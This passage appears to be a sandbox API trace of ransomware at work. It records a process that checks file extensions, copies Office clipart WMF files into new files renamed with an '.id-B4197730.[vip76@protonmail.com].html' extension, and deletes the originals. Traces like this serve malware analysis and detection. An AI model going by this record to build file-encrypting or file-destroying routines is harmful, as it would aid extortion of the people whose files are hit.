	[0075.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.666] lstrlenW (lpString=".7z") returned 3
	[0075.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0075.666] lstrlenW (lpString=".dbf") returned 4
	[0075.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0075.666] lstrlenW (lpString=".1cd") returned 4
	[0075.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0075.667] lstrlenW (lpString=".jpg") returned 4
	[0075.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0075.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0075.667] lstrlenW (lpString=".doc") returned 4
	[0075.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.667] lstrlenW (lpString=".docx") returned 5
	[0075.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.667] lstrlenW (lpString=".pdf") returned 4
	[0075.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.667] lstrlenW (lpString=".xls") returned 4
	[0075.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.667] lstrlenW (lpString=".xlsx") returned 5
	[0075.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.667] lstrlenW (lpString=".ppt") returned 4
	[0075.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0075.667] lstrlenW (lpString=".zip") returned 4
	[0075.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.668] lstrlenW (lpString=".rar") returned 4
	[0075.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.668] lstrlenW (lpString=".bz2") returned 4
	[0075.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.668] lstrlenW (lpString=".7z") returned 3
	[0075.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0075.668] lstrlenW (lpString=".dbf") returned 4
	[0075.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0075.668] lstrlenW (lpString=".1cd") returned 4
	[0075.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0075.668] lstrlenW (lpString=".jpg") returned 4
	[0075.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.668] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.668] lstrlenW (lpString="BS00092_.WMF") returned 12
	[0075.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0075.669] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=7974) returned 1
	[0075.669] CloseHandle (hObject=0x338) returned 1
	[0075.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x220
	[0075.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0075.669] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.669] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0075.669] GetLastError () returned 0x0
	[0075.669] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x1f26, lpOverlapped=0x0) returned 1
	[0075.671] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x1f30, lpOverlapped=0x0) returned 1
	[0075.672] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.672] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.672] SetEndOfFile (hFile=0x394) returned 1
	[0075.673] CloseHandle (hObject=0x394) returned 1
	[0075.674] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.674] SetEndOfFile (hFile=0x338) returned 1
	[0075.675] CloseHandle (hObject=0x338) returned 1
	[0075.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 1
	[0075.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0075.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0075.675] lstrlenW (lpString=".doc") returned 4
	[0075.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.675] lstrlenW (lpString=".docx") returned 5
	[0075.675] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.675] lstrlenW (lpString=".pdf") returned 4
	[0075.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.675] lstrlenW (lpString=".xls") returned 4
	[0075.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.675] lstrlenW (lpString=".xlsx") returned 5
	[0075.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.675] lstrlenW (lpString=".ppt") returned 4
	[0075.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0075.676] lstrlenW (lpString=".zip") returned 4
	[0075.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.676] lstrlenW (lpString=".rar") returned 4
	[0075.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.676] lstrlenW (lpString=".bz2") returned 4
	[0075.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.676] lstrlenW (lpString=".7z") returned 3
	[0075.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0075.676] lstrlenW (lpString=".dbf") returned 4
	[0075.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0075.676] lstrlenW (lpString=".1cd") returned 4
	[0075.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0075.676] lstrlenW (lpString=".jpg") returned 4
	[0075.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0075.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0075.676] lstrlenW (lpString=".doc") returned 4
	[0075.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.676] lstrlenW (lpString=".docx") returned 5
	[0075.676] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.676] lstrlenW (lpString=".pdf") returned 4
	[0075.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.676] lstrlenW (lpString=".xls") returned 4
	[0075.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.676] lstrlenW (lpString=".xlsx") returned 5
	[0075.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.676] lstrlenW (lpString=".ppt") returned 4
	[0075.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0075.677] lstrlenW (lpString=".zip") returned 4
	[0075.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.677] lstrlenW (lpString=".rar") returned 4
	[0075.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.677] lstrlenW (lpString=".bz2") returned 4
	[0075.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.677] lstrlenW (lpString=".7z") returned 3
	[0075.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0075.677] lstrlenW (lpString=".dbf") returned 4
	[0075.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0075.677] lstrlenW (lpString=".1cd") returned 4
	[0075.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68
	[0075.677] lstrlenW (lpString=".jpg") returned 4
	[0075.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.677] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.677] lstrlenW (lpString="BS00100_.WMF") returned 12
	[0075.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0075.678] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=2378) returned 1
	[0075.678] CloseHandle (hObject=0x338) returned 1
	[0075.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x220
	[0075.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0075.678] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.678] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0075.678] GetLastError () returned 0x0
	[0075.678] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x94a, lpOverlapped=0x0) returned 1
	[0076.079] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x950, lpOverlapped=0x0) returned 1
	[0076.080] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.080] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.080] SetEndOfFile (hFile=0x394) returned 1
	[0076.080] CloseHandle (hObject=0x394) returned 1
	[0076.081] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.082] SetEndOfFile (hFile=0x338) returned 1
	[0076.082] CloseHandle (hObject=0x338) returned 1
	[0076.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 1
	[0076.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0076.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0076.122] lstrlenW (lpString=".doc") returned 4
	[0076.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.122] lstrlenW (lpString=".docx") returned 5
	[0076.131] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.131] lstrlenW (lpString=".pdf") returned 4
	[0076.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.131] lstrlenW (lpString=".xls") returned 4
	[0076.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.139] lstrlenW (lpString=".xlsx") returned 5
	[0076.139] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.139] lstrlenW (lpString=".ppt") returned 4
	[0076.139] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0076.148] lstrlenW (lpString=".zip") returned 4
	[0076.148] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.148] lstrlenW (lpString=".rar") returned 4
	[0076.148] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.148] lstrlenW (lpString=".bz2") returned 4
	[0076.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.152] lstrlenW (lpString=".7z") returned 3
	[0076.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0076.152] lstrlenW (lpString=".dbf") returned 4
	[0076.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0076.152] lstrlenW (lpString=".1cd") returned 4
	[0076.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0076.152] lstrlenW (lpString=".jpg") returned 4
	[0076.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0076.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0076.152] lstrlenW (lpString=".doc") returned 4
	[0076.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.152] lstrlenW (lpString=".docx") returned 5
	[0076.152] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.152] lstrlenW (lpString=".pdf") returned 4
	[0076.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.152] lstrlenW (lpString=".xls") returned 4
	[0076.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.152] lstrlenW (lpString=".xlsx") returned 5
	[0076.152] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.152] lstrlenW (lpString=".ppt") returned 4
	[0076.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0076.152] lstrlenW (lpString=".zip") returned 4
	[0076.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.152] lstrlenW (lpString=".rar") returned 4
	[0076.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.152] lstrlenW (lpString=".bz2") returned 4
	[0076.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.153] lstrlenW (lpString=".7z") returned 3
	[0076.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0076.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0076.153] lstrlenW (lpString=".dbf") returned 4
	[0076.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0076.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0076.153] lstrlenW (lpString=".1cd") returned 4
	[0076.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0076.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68
	[0076.153] lstrlenW (lpString=".jpg") returned 4
	[0076.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0076.153] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0076.153] lstrlenW (lpString="BS00453_.WMF") returned 12
	[0076.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.154] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=2436) returned 1
	[0076.154] CloseHandle (hObject=0x338) returned 1
	[0076.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x220
	[0076.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0076.154] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.154] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0076.155] GetLastError () returned 0x0
	[0076.155] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x984, lpOverlapped=0x0) returned 1
	[0076.158] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x990, lpOverlapped=0x0) returned 1
	[0076.159] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.159] WriteFile (in: hFile=0x394, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0076.159] SetEndOfFile (hFile=0x394) returned 1
	[0076.159] CloseHandle (hObject=0x394) returned 1
	[0076.160] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.160] SetEndOfFile (hFile=0x338) returned 1
	[0076.161] CloseHandle (hObject=0x338) returned 1
	[0076.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0076.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 1
	[0076.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0076.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0076.162] lstrlenW (lpString=".doc") returned 4
	[0076.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0076.162] lstrlenW (lpString=".docx") returned 5
	[0076.162] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0076.162] lstrlenW (lpString=".pdf") returned 4
	[0076.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0076.162] lstrlenW (lpString=".xls") returned 4
	[0076.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0076.162] lstrlenW (lpString=".xlsx") returned 5
	[0076.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0076.162] lstrlenW (lpString=".ppt") returned 4
	[0076.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0076.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0076.162] lstrlenW (lpString=".zip") returned 4
	[0076.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0076.162] lstrlenW (lpString=".rar") returned 4
	[0076.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0076.162] lstrlenW (lpString=".bz2") returned 4
	[0076.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0076.162] lstrlenW (lpString=".7z") returned 3
	[0076.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
